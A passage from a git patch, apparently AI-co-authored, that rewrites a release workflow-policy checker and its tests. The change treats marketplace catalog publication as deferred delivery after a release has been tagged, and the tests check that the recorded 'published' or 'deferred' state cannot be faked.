identities, or inverts which state carries a live revision. `plugin-release.yml` gets the same treatment: it tags irreversibly and publishes the same catalog, so leaving it gated would have made `release_gate: false` false in half the repository. Closes #1568 Co-Authored-By: Claude Opus 5 --- .github/scripts/check-workflow-policy.mjs | 272 ++++++++++++- .../scripts/check-workflow-policy.test.mjs | 370 +++++++++++++++++- .github/workflows/plugin-release.yml | 100 ++++- .../workflows/post-publish-release-smoke.yml | 82 +++- .github/workflows/release.yml | 48 ++- AGENTS.md | 23 +- .../release-evidence/fixtures/candidate.json | 6 +- .../release-evidence/fixtures/report.json | 8 +- release-claims.json | 17 + scripts/codestory-release-claims.mjs | 53 +++ .../tests/codestory-release-claims.test.mjs | 72 ++++ .../fixtures/release-claims/positive.json | 2 +- 12 files changed, 1002 insertions(+), 51 deletions(-) diff --git a/.github/scripts/check-workflow-policy.mjs b/.github/scripts/check-workflow-policy.mjs index 37d574591..24fd96a69 100644 --- a/.github/scripts/check-workflow-policy.mjs +++ b/.github/scripts/check-workflow-policy.mjs @@ -1570,8 +1570,78 @@ function validatePluginAndDraftWorkflows(workflows, violations, graph) { } } +// Both release lanes point the catalog at what they just published, and both do it after the tag +// and the GitHub release already exist. Failing either lane on a credential or a rejected push +// would turn a recoverable delivery gap into an unrecoverable one, so publication is delivery: the +// job absorbs its own failure. That is only honest if the run then SAYS which state it ended in, +// which is what these rules force. Every conjunct below is load-bearing; dropping any one of them +// lets a run that never touched the catalog report that it did. +function catalogDeliveryOutcomeViolations(file, job, delivery) { + const violations = []; + const tokenStep = namedStep(job, "Mint a scoped marketplace token"); + add( + violations, + tokenStep?.["continue-on-error"] === true, + `${file} marketplace token failure must not fail an already-published release`, + ); + const catalogPush = namedStep(job, "Point the catalog at the published release"); + add( + violations, + catalogPush?.["continue-on-error"] === true + && catalogPush?.if === "steps.token.outcome == 'success'", + `${file} catalog push must run only with a minted token and must not fail the release`, + ); + const deliveryOutcome = namedStep(job, "Record catalog delivery outcome"); + add( + violations, + deliveryOutcome?.if === "always()", + `${file} catalog delivery outcome must be recorded whatever the catalog push did`, + ); + add( + violations, + object(deliveryOutcome?.env).TOKEN_OUTCOME === "${{ steps.token.outcome }}" + && object(deliveryOutcome?.env).PUBLISH_OUTCOME === "${{ steps.publish.outcome }}" + && object(deliveryOutcome?.env).PUBLISHED_REVISION + === "${{ steps.publish.outputs.marketplace_revision }}", + `${file} catalog delivery outcome must read the real token, push, and revision results`, + ); + add( + violations, + object(deliveryOutcome?.env).RECOVERY_WORKFLOW === delivery.recovery_workflow, + `${file} deferred catalog delivery must name ${delivery.recovery_workflow} as the recovery path`, + ); + requireStepRun(violations, file, job, "Record catalog delivery outcome", [ + "catalog_published=false", + '[ "$TOKEN_OUTCOME" = "success" ]', + '[ "$PUBLISH_OUTCOME" = "success" ]', + `printf '%s' "$PUBLISHED_REVISION" | grep -Eq '^[0-9a-f]{40}$'`, + 'echo "catalog_published=$catalog_published" >> "$GITHUB_OUTPUT"', + 'echo "marketplace_revision=$marketplace_revision" >> "$GITHUB_OUTPUT"', + "::warning::Catalog publication deferred", + "recover with $RECOVERY_WORKFLOW", + ]); + add( + violations, + object(job.outputs).catalog_published === "${{ steps.delivery.outputs.catalog_published }}" + && object(job.outputs).marketplace_revision === "${{ steps.delivery.outputs.marketplace_revision }}", + `${file} marketplace publication must publish the recorded delivery state, not the raw push result`, + ); + // A retry would collapse distinguishable failures into one opaque one and could publish on a + // second attempt after the first was already recorded, so this job gets exactly one attempt. + for (const step of list(job.steps)) { + const run = executableRunText(String(object(step).run ?? "")); + add( + violations, + !/\b(?:until|while)\b|for\s+attempt|--retry\b/u.test(run), + `${file} marketplace publication step ${object(step).name ?? ""} must not retry a recorded delivery outcome`, + ); + } + return violations; +} + function validateReleaseCoordinator(workflows, violations, graph) { const releaseChain = graph.workflow_policy.release_chain; + const catalogDelivery = graph.workflow_policy.catalog_delivery; const releaseFile = "release.yml"; const release = workflows.get(releaseFile); if (!release) { @@ -1932,29 +2002,59 @@ function validateReleaseCoordinator(workflows, violations, graph) { && object(tokenStep?.with).repositories === "AgentPluginMarketplace", `${releaseFile} marketplace token must be a SHA-pinned app token scoped to the marketplace repository`, ); - requireStepRun(violations, releaseFile, marketplacePublish, "Point the catalog at the published release", [ - "publish-marketplace-catalog.mjs", - ]); + violations.push(...catalogDeliveryOutcomeViolations(releaseFile, marketplacePublish, catalogDelivery)); requireStepRun(violations, releaseFile, preflight, "Prove the public marketplace install path", [ "build-marketplace-fixture.mjs", "--local-fixture true", ]); const post = requireJob(violations, releaseFile, release, "post-publish-smoke"); - add(violations, post.if === "inputs.publish_release", `${releaseFile} post-publish smoke must require trusted publication authority`); add(violations, post.uses === "./.github/workflows/post-publish-release-smoke.yml", `${releaseFile} must call post-publish smoke`); add(violations, sameMembers(needs(post), releaseChain.dependencies["post-publish-smoke"]), `${releaseFile} post-publish dependencies must match the release claim graph`); + // The smoke still needs publication authority and a real published release, but a deferred + // catalog must not suppress proof of the assets that were actually published. + const postIf = String(post.if ?? ""); + add( + violations, + postIf.includes("always()") + && postIf.includes("inputs.publish_release") + && postIf.includes("needs.preflight.result == 'success'") + && postIf.includes("needs.publish.result == 'success'"), + `${releaseFile} post-publish smoke must require trusted publication authority and a successful publish`, + ); + add( + violations, + !postIf.includes(`needs.${catalogDelivery.publish_job}.result`), + `${releaseFile} post-publish smoke must not gate on ${catalogDelivery.publish_job} succeeding`, + ); + // THE anti-vacuity rule: the catalog claim may only ever be the recorded delivery state. A + // literal, an unrelated input, or any other expression would let a release assert a catalog + // update that never happened. + add( + violations, + object(post.with).catalog_published + === `\${{ needs.${catalogDelivery.publish_job}.outputs.catalog_published == 'true' }}`, + `${releaseFile} post-publish smoke must derive catalog_published from the recorded ${catalogDelivery.publish_job} outcome`, + ); add( violations, object(post.with).emit_release_cells === true && object(post.with).marketplace_revision - === "${{ needs.marketplace-publish.outputs.marketplace_revision }}" + === `\${{ needs.${catalogDelivery.publish_job}.outputs.marketplace_revision }}` && String(object(post.with).pre_publish_closeout_artifact ?? "").startsWith("release-closeout-pre-publish-"), `${releaseFile} post-publish smoke must consume the proved marketplace revision and accepted pre-publish ledger`, ); const postCloseout = requireJob(violations, releaseFile, release, "post-publish-closeout"); add(violations, postCloseout.if === "inputs.publish_release", `${releaseFile} post-publish closeout must require trusted publication authority`); add(violations, sameMembers(needs(postCloseout), releaseChain.dependencies["post-publish-closeout"]), `${releaseFile} post-publish closeout dependencies must match the release claim graph`); + // The closeout reached marketplace-publish only through the smoke, so removing the smoke's gate + // removed the closeout's too. Keep it that way rather than leaving it to be reintroduced here. + add( + violations, + !needs(postCloseout).includes(catalogDelivery.publish_job) + && !String(postCloseout.if ?? "").includes(`needs.${catalogDelivery.publish_job}`), + `${releaseFile} post-publish closeout must not gate on ${catalogDelivery.publish_job} succeeding`, + ); requireStepRun(violations, releaseFile, postCloseout, "Authenticate post-publish Actions provenance", [ "producer-map", "--phase post_publish", @@ -2634,7 +2734,81 @@ function validatePackagedProof(workflows, violations, graph) { ); } -function validatePostPublish(workflows, violations) { +// The post-publish smoke runs whether or not the catalog was updated, so the one thing it must +// never do is let the deferred run look like the published one. Both states resolve a real Codex +// install of the real published assets; they differ in WHICH catalog served it, and that +// difference is carried into the release ledger as a distinct installer identity. These rules +// prove the two states stay distinguishable and that neither can be selected by accident. +function catalogDeliveryStateViolations(file, job, delivery, handoff, installStepName) { + const violations = []; + const published = delivery.states.find(({ id }) => id === "published"); + const deferred = delivery.states.find(({ id }) => id === "deferred"); + const step = namedStep(job, "Record catalog delivery state"); + add( + violations, + step?.if === undefined && step?.["continue-on-error"] === undefined, + `${file} catalog delivery state must be unconditional and fail closed`, + ); + add( + violations, + object(step?.env).CATALOG_PUBLISHED === handoff.published + && object(step?.env).INPUT_MARKETPLACE_REVISION === handoff.revision, + `${file} catalog delivery state must read the recorded publication handoff`, + ); + requireStepRun(violations, file, job, "Record catalog delivery state", [ + // The published branch: the live catalog, its live revision, no fixture. + 'if [ "$CATALOG_PUBLISHED" = "true" ]; then', + "marketplace_source=TheGreenCedar/AgentPluginMarketplace", + 'marketplace_revision="$INPUT_MARKETPLACE_REVISION"', + "local_fixture=false", + `installer=${published.installer}`, + // The deferred branch: a catalog pinned to this published commit, and a revision that cannot + // be a live one because the caller is required to have supplied none. + 'elif [ "$CATALOG_PUBLISHED" = "false" ]; then', + 'if [ -n "$INPUT_MARKETPLACE_REVISION" ]; then', + "Deferred catalog publication must not carry a live catalog revision", + "build-marketplace-fixture.mjs", + 'marketplace_revision="$(git -C "$fixture_root" rev-parse HEAD)"', + "local_fixture=true", + `installer=${deferred.installer}`, + // Neither branch may fall through: an unset or unexpected handoff is a hard failure, never a + // silent default into the published identity. + "catalog_published must be true or false", + 'test "$(printf \'%s\' "$marketplace_revision" | wc -c | tr -d \' \')" = 40', + 'echo "installer=$installer"', + ]); + const deliveryRun = executableRunText(String(step?.run ?? "")); + const publishedIndex = deliveryRun.indexOf(`installer=${published.installer}`); + const deferredIndex = deliveryRun.indexOf(`installer=${deferred.installer}`); + const publishedBranch = deliveryRun.indexOf('if [ "$CATALOG_PUBLISHED" = "true" ]; then'); + const deferredBranch = deliveryRun.indexOf('elif [ "$CATALOG_PUBLISHED" = "false" ]; then'); + add( + violations, + published.installer !== deferred.installer + && publishedBranch >= 0 + && deferredBranch > publishedBranch + && publishedIndex > publishedBranch + && publishedIndex < deferredBranch + && deferredIndex > deferredBranch, + `${file} the published installer identity must be reachable only from the published branch`, + ); + // Neither state may be fabricated in a later step: the install must come from what this step + // resolved, and the forbidden fragments that stop a faked install apply here too. + for (const forbidden of ["git archive", "git clone", "git ls-remote", "--source-commit", "--source-tree"]) { + add( + violations, + !deliveryRun.includes(forbidden), + `${file} marketplace install must not fabricate installation with ${forbidden}`, + ); + } + requireStepRun(violations, file, job, installStepName, [ + '--marketplace-source "${{ steps.delivery.outputs.marketplace_source }}"', + '--local-fixture "${{ steps.delivery.outputs.local_fixture }}"', + ]); + return violations; +} + +function validatePostPublish(workflows, violations, graph) { const file = "post-publish-release-smoke.yml"; const workflow = workflows.get(file); if (!workflow) { @@ -2645,13 +2819,21 @@ function validatePostPublish(workflows, violations) { add(violations, object(workflow.permissions).actions === "read", `${file} must read the accepted pre-publish closeout`); requireNoCalibrationReferences(violations, file, workflow); for (const event of ["workflow_call", "workflow_dispatch"]) { + // The catalog revision is now empty exactly when publication was deferred, so the required + // input is the delivery state itself: the caller must state which one it is, never omit it. + const publishedInput = object(at(workflow, "on", event, "inputs", "catalog_published")); + add( + violations, + publishedInput.required === true && publishedInput.type === "boolean", + `${file} ${event} catalog_published must be a required boolean`, + ); const marketplaceInput = object( at(workflow, "on", event, "inputs", "marketplace_revision"), ); add( violations, - marketplaceInput.required === true && marketplaceInput.type === "string", - `${file} ${event} marketplace_revision must be a required string`, + marketplaceInput.type === "string" && marketplaceInput.default === "", + `${file} ${event} marketplace_revision must be a string defaulting to the deferred empty revision`, ); const closeoutInput = object(at(workflow, "on", event, "inputs", "pre_publish_closeout_artifact")); add(violations, closeoutInput.type === "string", `${file} ${event} pre_publish_closeout_artifact must be a string`); @@ -2701,13 +2883,43 @@ function validatePostPublish(workflows, violations) { object(workflow.env).CODEX_CLI_VERSION === "0.144.5", `${file} must pin the Codex CLI used for marketplace installation`, ); - const resolveInstalled = namedStep(job, "Resolve the published plugin through the marketplace catalog"); - requireStepRun(violations, file, job, "Resolve the published plugin through the marketplace catalog", [ - 'marketplace_revision="${{ inputs.marketplace_revision }}"', + const catalogDelivery = graph.workflow_policy.catalog_delivery; + const resolveStepName = "Resolve the published plugin through the marketplace catalog"; + violations.push(...catalogDeliveryStateViolations( + file, + job, + catalogDelivery, + { + published: "${{ inputs.catalog_published }}", + revision: "${{ inputs.marketplace_revision }}", + }, + resolveStepName, + )); + // The one place the delivery state reaches the release ledger. It must be the resolved value and + // never a literal, or a deferred run could sign a cell saying the public catalog served it. + const identityRun = executableRunText( + String(namedStep(job, "Emit authenticated post-publish release cells")?.run ?? ""), + ); + add( + violations, + identityRun.includes('--arg installer "${{ steps.delivery.outputs.installer }}"'), + `${file} post-publish cells must record the resolved delivery installer identity`, + ); + for (const state of catalogDelivery.states) { + add( + violations, + !identityRun.includes(state.installer), + `${file} post-publish cells must not hard-code the ${state.id} installer identity`, + ); + } + const resolveInstalled = namedStep(job, resolveStepName); + requireStepRun(violations, file, job, resolveStepName, [ + 'marketplace_revision="${{ steps.delivery.outputs.marketplace_revision }}"', '"@openai/codex@$CODEX_CLI_VERSION"', "install-codestory-marketplace-proof.mjs", - "TheGreenCedar/AgentPluginMarketplace", + '--marketplace-source "${{ steps.delivery.outputs.marketplace_source }}"', '--marketplace-revision "$marketplace_revision"', + '--local-fixture "${{ steps.delivery.outputs.local_fixture }}"', '--source-repository "$GITHUB_WORKSPACE"', "install-attestation-v2.json", 'isolated_home="$install_root/isolated-home"', @@ -4550,12 +4762,10 @@ export function validatePluginRelease(workflows, violations, graph) { "publish-marketplace-catalog.mjs", '--version "${{ inputs.version }}"', ]); - add( - violations, - object(marketplacePublish.outputs).marketplace_revision - === "${{ steps.publish.outputs.marketplace_revision }}", - `${file} marketplace publication must publish the revision it pushed`, - ); + // Same contract as the native lane: the catalog push is delivery after an irreversible tag, so + // it may not fail the release, and the run must record which state it ended in. + const catalogDelivery = object(at(graph, "workflow_policy", "catalog_delivery")); + violations.push(...catalogDeliveryOutcomeViolations(file, marketplacePublish, catalogDelivery)); // Preflight runs before the release exists, so a revision captured there names the *previous* // release. Smoke must install from the revision this run published or it proves nothing. @@ -4565,12 +4775,32 @@ export function validatePluginRelease(workflows, violations, graph) { object(preflight.outputs).marketplace_revision === undefined, `${file} preflight must not capture a marketplace revision that predates publication`, ); + const installStepName = "Prove the public marketplace install path"; add( violations, - object(namedStep(smoke, "Prove the public marketplace install path")?.env).MARKETPLACE_REVISION - === "${{ needs.marketplace-publish.outputs.marketplace_revision }}", + object(namedStep(smoke, installStepName)?.env).MARKETPLACE_REVISION + === "${{ steps.delivery.outputs.marketplace_revision }}", `${file} post-publish smoke must install from the marketplace revision this release published`, ); + violations.push(...catalogDeliveryStateViolations( + file, + smoke, + catalogDelivery, + { + published: "${{ needs.marketplace-publish.outputs.catalog_published == 'true' }}", + revision: "${{ needs.marketplace-publish.outputs.marketplace_revision }}", + }, + installStepName, + )); + const smokeIf = String(smoke.if ?? ""); + add( + violations, + smokeIf.includes("always()") + && smokeIf.includes("needs.preflight.result == 'success'") + && smokeIf.includes("needs.publish.result == 'success'") + && !smokeIf.includes("needs.marketplace-publish.result"), + `${file} post-publish smoke must require a successful publish without gating on marketplace-publish succeeding`, + ); const auto = workflows.get("auto-release.yml"); const pluginCaller = object(at(auto, "jobs", "plugin-release")); @@ -4600,7 +4830,7 @@ export function validateWorkflows(workflows, graph = loadReleaseClaimGraph(repos validatePluginAndDraftWorkflows(workflows, violations, graph); validateReleaseCoordinator(workflows, violations, graph); validatePackagedProof(workflows, violations, graph); - validatePostPublish(workflows, violations); + validatePostPublish(workflows, violations, graph); validatePackagedCoordinator(workflows, violations, graph); validateRemainingWorkflows(workflows, violations); validateReleaseCellUploadOwnership(workflows, violations); diff --git a/.github/scripts/check-workflow-policy.test.mjs b/.github/scripts/check-workflow-policy.test.mjs index 3cd6fd726..d2c8b7d02 100644 --- a/.github/scripts/check-workflow-policy.test.mjs +++ b/.github/scripts/check-workflow-policy.test.mjs @@ -23,6 +23,7 @@ import { validateWorkflows, windowsManifestProofPolicyViolations, } from "./check-workflow-policy.mjs"; +import { loadReleaseClaimGraph } from "../../scripts/codestory-release-claims.mjs"; const fullSha = "0123456789abcdef0123456789abcdef01234567"; const proofTopology = "proof5-v1-64015a841a2f69f33f7c9ce284f671ad27b3923a58db865fd4806d86230df6c5"; @@ -2369,9 +2370,9 @@ test("the plugin lane publishes the catalog it then smoke-installs", async (t) = const step = catalogStep(workflow); step.run = step.run.replace('--version "${{ inputs.version }}"', '--version "$LATEST"'); }, /Point the catalog at the published release must run --version/u], - ["catalog publication hides the revision it pushed", workflow => { + ["catalog publication hides the delivery state it recorded", workflow => { delete workflow.jobs["marketplace-publish"].outputs; - }, /marketplace publication must publish the revision it pushed/u], + }, /marketplace publication must publish the recorded delivery state/u], ]; for (const [name, mutate, expected] of mutations) { await t.test(name, () => { @@ -2470,3 +2471,368 @@ test("the plugin lane still forbids building, signing, and forwarded secrets", a }); } }); + +// Catalog publication is delivery, not a release gate. Relaxing a gate is exactly where a vacuous +// pass gets built by accident, so these tests attack the three shapes that would produce one: a +// claim that becomes true on its own, a smoke that passes because it stopped checking anything, +// and a retry that hides which failure actually happened. +function runStepBash(run, environment) { + const directory = mkdtempSync(path.join(os.tmpdir(), "codestory-catalog-delivery-")); + const output = path.join(directory, "github-output"); + const summary = path.join(directory, "github-step-summary"); + writeFileSync(output, ""); + writeFileSync(summary, ""); + const executable = process.platform === "win32" ? "wsl.exe" : "bash"; + const args = process.platform === "win32" + ? ["--exec", "/bin/bash", "-c", run] + : ["-c", run]; + const result = spawnSync(executable, args, { + cwd: root, + encoding: "utf8", + env: { + ...process.env, + GITHUB_OUTPUT: output, + GITHUB_STEP_SUMMARY: summary, + GITHUB_WORKSPACE: root, + RUNNER_TEMP: directory, + ...environment, + }, + }); + const outputs = Object.fromEntries( + readFileSync(output, "utf8") + .split(/\r?\n/u) + .filter(line => line.includes("=")) + .map(line => [line.slice(0, line.indexOf("=")), line.slice(line.indexOf("=") + 1)]), + ); + return { ...result, outputs, summary: readFileSync(summary, "utf8") }; +} + +// Both lanes tag irreversibly and then point the catalog at what they published, so both are +// exercised here rather than only the one the issue named. +const catalogOutcomeLanes = [ + ["release.yml", "marketplace-publish"], + ["plugin-release.yml", "marketplace-publish"], +]; +const catalogStateLanes = [ + ["post-publish-release-smoke.yml", "smoke"], + ["plugin-release.yml", "post-publish-smoke"], +]; + +function runCatalogDeliveryOutcome(environment, [file, jobName] = catalogOutcomeLanes[0]) { + const step = draftStep(loadWorkflows().get(file).jobs[jobName], "Record catalog delivery outcome"); + // Every GitHub expression in this step lives in env, so the body is executable bash. + assert.ok(!step.run.includes("${{"), "delivery outcome body must not embed workflow expressions"); + return runStepBash(step.run, { RECOVERY_WORKFLOW: step.env.RECOVERY_WORKFLOW, ...environment }); +} + +function runCatalogDeliveryState(environment, [file, jobName] = catalogStateLanes[0]) { + const step = draftStep(loadWorkflows().get(file).jobs[jobName], "Record catalog delivery state"); + assert.ok(!step.run.includes("${{"), "delivery state body must not embed workflow expressions"); + return runStepBash(step.run, environment); +} + +test("a release records catalog publication only when the catalog push actually landed", () => { + const revision = "a".repeat(40); + + for (const lane of catalogOutcomeLanes) { + const published = runCatalogDeliveryOutcome({ + TOKEN_OUTCOME: "success", + PUBLISH_OUTCOME: "success", + PUBLISHED_REVISION: revision, + }, lane); + assert.equal(published.status, 0, published.stderr); + assert.deepEqual(published.outputs, { + catalog_published: "true", + marketplace_revision: revision, + }, lane.join("/")); + assert.doesNotMatch(published.stdout, /::warning::/u, lane.join("/")); + } + + // Each of these is a real way this job has failed or could fail. None may report published, and + // none may fail the release: the tag and the GitHub release already exist by this point. + const deferrals = [ + ["missing credential", { TOKEN_OUTCOME: "failure", PUBLISH_OUTCOME: "", PUBLISHED_REVISION: "" }], + ["push rejected", { TOKEN_OUTCOME: "success", PUBLISH_OUTCOME: "failure", PUBLISHED_REVISION: "" }], + ["push skipped", { TOKEN_OUTCOME: "failure", PUBLISH_OUTCOME: "skipped", PUBLISHED_REVISION: "" }], + ["push reported success without a revision", { + TOKEN_OUTCOME: "success", + PUBLISH_OUTCOME: "success", + PUBLISHED_REVISION: "", + }], + ["push reported a mutable ref", { + TOKEN_OUTCOME: "success", + PUBLISH_OUTCOME: "success", + PUBLISHED_REVISION: "main", + }], + ["push reported a truncated revision", { + TOKEN_OUTCOME: "success", + PUBLISH_OUTCOME: "success", + PUBLISHED_REVISION: "a".repeat(39), + }], + ]; + for (const lane of catalogOutcomeLanes) { + for (const [label, environment] of deferrals) { + const deferred = runCatalogDeliveryOutcome(environment, lane); + const where = `${lane.join("/")}: ${label}`; + assert.equal(deferred.status, 0, `${where}: ${deferred.stderr}`); + assert.deepEqual(deferred.outputs, { + catalog_published: "false", + marketplace_revision: "", + }, where); + assert.match(deferred.stdout, /::warning::Catalog publication deferred/u, where); + assert.match(deferred.stdout, /marketplace-sync\.yml/u, where); + assert.match(deferred.summary, /DEFERRED/u, where); + } + } +}); + +test("the post-publish smoke cannot record a public catalog install it did not perform", () => { + const graph = loadReleaseClaimGraph(root); + const { states } = graph.workflow_policy.catalog_delivery; + const publishedInstaller = states.find(({ id }) => id === "published").installer; + const deferredInstaller = states.find(({ id }) => id === "deferred").installer; + const liveRevision = "b".repeat(40); + const head = spawnSync("git", ["-C", root, "rev-parse", "HEAD"], { encoding: "utf8" }).stdout.trim(); + + for (const lane of catalogStateLanes) { + const where = lane.join("/"); + const published = runCatalogDeliveryState({ + CATALOG_PUBLISHED: "true", + INPUT_MARKETPLACE_REVISION: liveRevision, + }, lane); + assert.equal(published.status, 0, published.stderr); + assert.equal(published.outputs.state, "published", where); + assert.equal(published.outputs.installer, publishedInstaller, where); + assert.equal(published.outputs.marketplace_source, "TheGreenCedar/AgentPluginMarketplace", where); + assert.equal(published.outputs.marketplace_revision, liveRevision, where); + assert.equal(published.outputs.local_fixture, "false", where); + + // Deferred still proves a real Codex install of the real published artifacts -- it changes only + // WHICH catalog served it -- and it says so with an installer identity that cannot be confused + // for the public one. + const deferred = runCatalogDeliveryState({ + CATALOG_PUBLISHED: "false", + INPUT_MARKETPLACE_REVISION: "", + }, lane); + assert.equal(deferred.status, 0, deferred.stderr); + assert.equal(deferred.outputs.state, "deferred", where); + assert.equal(deferred.outputs.installer, deferredInstaller, where); + assert.notEqual(deferred.outputs.installer, publishedInstaller, where); + assert.notEqual(deferred.outputs.marketplace_source, "TheGreenCedar/AgentPluginMarketplace", where); + assert.equal(deferred.outputs.local_fixture, "true", where); + assert.match(deferred.outputs.marketplace_revision, /^[0-9a-f]{40}$/u, where); + assert.match(deferred.stdout, /::warning::Catalog publication was deferred/u, where); + const catalog = JSON.parse(readFileSync( + path.join(deferred.outputs.marketplace_source, ".agents", "plugins", "marketplace.json"), + "utf8", + )); + assert.equal(catalog.plugins[0].source.sha, head, `${where}: fixture must pin the released commit`); + + // Refusals. A handoff that is inconsistent, absent, or merely truthy-looking must stop the + // smoke rather than fall through into the published identity. + for (const [label, environment] of [ + ["deferred with a live revision", { CATALOG_PUBLISHED: "false", INPUT_MARKETPLACE_REVISION: liveRevision }], + ["absent handoff", { CATALOG_PUBLISHED: "", INPUT_MARKETPLACE_REVISION: "" }], + ["truthy handoff", { CATALOG_PUBLISHED: "TRUE", INPUT_MARKETPLACE_REVISION: liveRevision }], + ["handoff spelled yes", { CATALOG_PUBLISHED: "yes", INPUT_MARKETPLACE_REVISION: liveRevision }], + // Published demands an immutable revision: an empty or mutable one is not a catalog install. + ["published without a revision", { CATALOG_PUBLISHED: "true", INPUT_MARKETPLACE_REVISION: "" }], + ["published with a mutable ref", { CATALOG_PUBLISHED: "true", INPUT_MARKETPLACE_REVISION: "main" }], + ["published with a truncated revision", { + CATALOG_PUBLISHED: "true", + INPUT_MARKETPLACE_REVISION: "b".repeat(39), + }], + ]) { + const refused = runCatalogDeliveryState(environment, lane); + assert.notEqual(refused.status, 0, `${where}: ${label}`); + assert.notEqual(refused.outputs.installer, publishedInstaller, `${where}: ${label}`); + } + } +}); + +test("catalog publication cannot be reinstated as a gate or claimed without happening", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + + const releaseFile = "release.yml"; + const smokeFile = "post-publish-release-smoke.yml"; + const pluginFile = "plugin-release.yml"; + const publishJob = workflows => workflows.get(releaseFile).jobs["marketplace-publish"]; + const smokeJob = workflows => workflows.get(smokeFile).jobs.smoke; + const smokeCall = workflows => workflows.get(releaseFile).jobs["post-publish-smoke"]; + const pluginPublishJob = workflows => workflows.get(pluginFile).jobs["marketplace-publish"]; + const pluginSmokeJob = workflows => workflows.get(pluginFile).jobs["post-publish-smoke"]; + + const mutations = [ + // --- The claim silently becoming true --- + ["release hard-codes the catalog claim", workflows => { + smokeCall(workflows).with.catalog_published = true; + }, /must derive catalog_published from the recorded marketplace-publish outcome/u], + ["release hard-codes the catalog claim as a string", workflows => { + smokeCall(workflows).with.catalog_published = "true"; + }, /must derive catalog_published from the recorded marketplace-publish outcome/u], + ["catalog claim is read from an unrelated input", workflows => { + smokeCall(workflows).with.catalog_published = "${{ inputs.publish_release }}"; + }, /must derive catalog_published from the recorded marketplace-publish outcome/u], + ["catalog claim is read from the job result instead of the recorded outcome", workflows => { + smokeCall(workflows).with.catalog_published + = "${{ needs.marketplace-publish.result == 'success' }}"; + }, /must derive catalog_published from the recorded marketplace-publish outcome/u], + ["catalog claim is dropped entirely", workflows => { + delete smokeCall(workflows).with.catalog_published; + }, /must derive catalog_published from the recorded marketplace-publish outcome/u], + ["delivery outcome ignores whether the push ran", workflows => { + const step = draftStep(publishJob(workflows), "Record catalog delivery outcome"); + step.run = step.run.replace('&& [ "$PUBLISH_OUTCOME" = "success" ] \\\n', ""); + }, /must run \[ "\$PUBLISH_OUTCOME" = "success" \]/u], + ["delivery outcome accepts any revision the push printed", workflows => { + const step = draftStep(publishJob(workflows), "Record catalog delivery outcome"); + step.run = step.run.replace( + `&& printf '%s' "$PUBLISHED_REVISION" | grep -Eq '^[0-9a-f]{40}$'`, + "&& true", + ); + }, /grep -Eq/u], + ["delivery outcome defaults to published", workflows => { + const step = draftStep(publishJob(workflows), "Record catalog delivery outcome"); + step.run = step.run.replace("catalog_published=false", "catalog_published=true"); + }, /must run catalog_published=false/u], + ["job publishes the raw push result instead of the recorded outcome", workflows => { + publishJob(workflows).outputs.catalog_published = "${{ steps.publish.outcome == 'success' }}"; + }, /must publish the recorded delivery state/u], + ["delivery outcome is skipped when the push failed", workflows => { + draftStep(publishJob(workflows), "Record catalog delivery outcome").if = "success()"; + }, /catalog delivery outcome must be recorded whatever the catalog push did/u], + ["deferred publication stops naming its recovery path", workflows => { + delete draftStep(publishJob(workflows), "Record catalog delivery outcome").env.RECOVERY_WORKFLOW; + }, /must name marketplace-sync\.yml as the recovery path/u], + + // --- The smoke passing because it stopped checking anything --- + ["deferred smoke records the public catalog installer", workflows => { + const step = draftStep(smokeJob(workflows), "Emit authenticated post-publish release cells"); + step.run = step.run.replace( + '--arg installer "${{ steps.delivery.outputs.installer }}"', + "--arg installer codex_marketplace_install", + ); + }, /must not hard-code the published installer identity/u], + ["both delivery states collapse onto one installer identity", workflows => { + const step = draftStep(smokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace( + "installer=codex_marketplace_deferred_fixture", + "installer=codex_marketplace_install", + ); + }, /published installer identity must be reachable only from the published branch/u], + ["deferred branch accepts a live catalog revision", workflows => { + const step = draftStep(smokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace('if [ -n "$INPUT_MARKETPLACE_REVISION" ]; then', "if false; then"); + }, /must run if \[ -n "\$INPUT_MARKETPLACE_REVISION" \]/u], + ["unknown delivery states fall through instead of failing", workflows => { + const step = draftStep(smokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace("catalog_published must be true or false", "unreachable"); + }, /must run catalog_published must be true or false/u], + ["delivery state becomes conditional", workflows => { + draftStep(smokeJob(workflows), "Record catalog delivery state").if = "inputs.catalog_published"; + }, /catalog delivery state must be unconditional and fail closed/u], + ["delivery state stops reading the caller's handoff", workflows => { + delete draftStep(smokeJob(workflows), "Record catalog delivery state").env.CATALOG_PUBLISHED; + }, /must read the recorded publication handoff/u], + ["smoke resolves whatever catalog it likes", workflows => { + const step = draftStep(smokeJob(workflows), "Resolve the published plugin through the marketplace catalog"); + step.run = step.run.replace( + '--marketplace-source "${{ steps.delivery.outputs.marketplace_source }}"', + "--marketplace-source TheGreenCedar/AgentPluginMarketplace", + ); + }, /must run --marketplace-source "\$\{\{ steps\.delivery\.outputs\.marketplace_source \}\}"/u], + ["smoke fakes the fixture catalog by cloning it", workflows => { + draftStep(smokeJob(workflows), "Record catalog delivery state").run + += "\ngit clone https://github.com/TheGreenCedar/AgentPluginMarketplace.git"; + }, /must not fabricate installation with git clone/u], + ["catalog delivery state stops being a required handoff", workflows => { + workflows.get(smokeFile).on.workflow_call.inputs.catalog_published.required = false; + }, /workflow_call catalog_published must be a required boolean/u], + + // --- The gate coming back, or a retry hiding which failure happened --- + ["token failure fails the published release again", workflows => { + delete draftStep(publishJob(workflows), "Mint a scoped marketplace token")["continue-on-error"]; + }, /marketplace token failure must not fail an already-published release/u], + ["catalog push failure fails the published release again", workflows => { + delete draftStep(publishJob(workflows), "Point the catalog at the published release")["continue-on-error"]; + }, /catalog push must run only with a minted token and must not fail the release/u], + ["catalog push runs without a minted token", workflows => { + delete draftStep(publishJob(workflows), "Point the catalog at the published release").if; + }, /catalog push must run only with a minted token and must not fail the release/u], + ["smoke waits for the catalog job to succeed", workflows => { + smokeCall(workflows).if + = "inputs.publish_release && needs.marketplace-publish.result == 'success'"; + }, /must not gate on marketplace-publish succeeding/u], + ["smoke is skipped whenever the catalog job did not run cleanly", workflows => { + smokeCall(workflows).if = "inputs.publish_release"; + }, /post-publish smoke must require trusted publication authority and a successful publish/u], + ["smoke stops requiring a real published release", workflows => { + smokeCall(workflows).if = "always() && inputs.publish_release && needs.preflight.result == 'success'"; + }, /post-publish smoke must require trusted publication authority and a successful publish/u], + ["catalog push retries until it passes", workflows => { + const step = draftStep(publishJob(workflows), "Point the catalog at the published release"); + step.run = `until node .github/scripts/publish-marketplace-catalog.mjs; do sleep 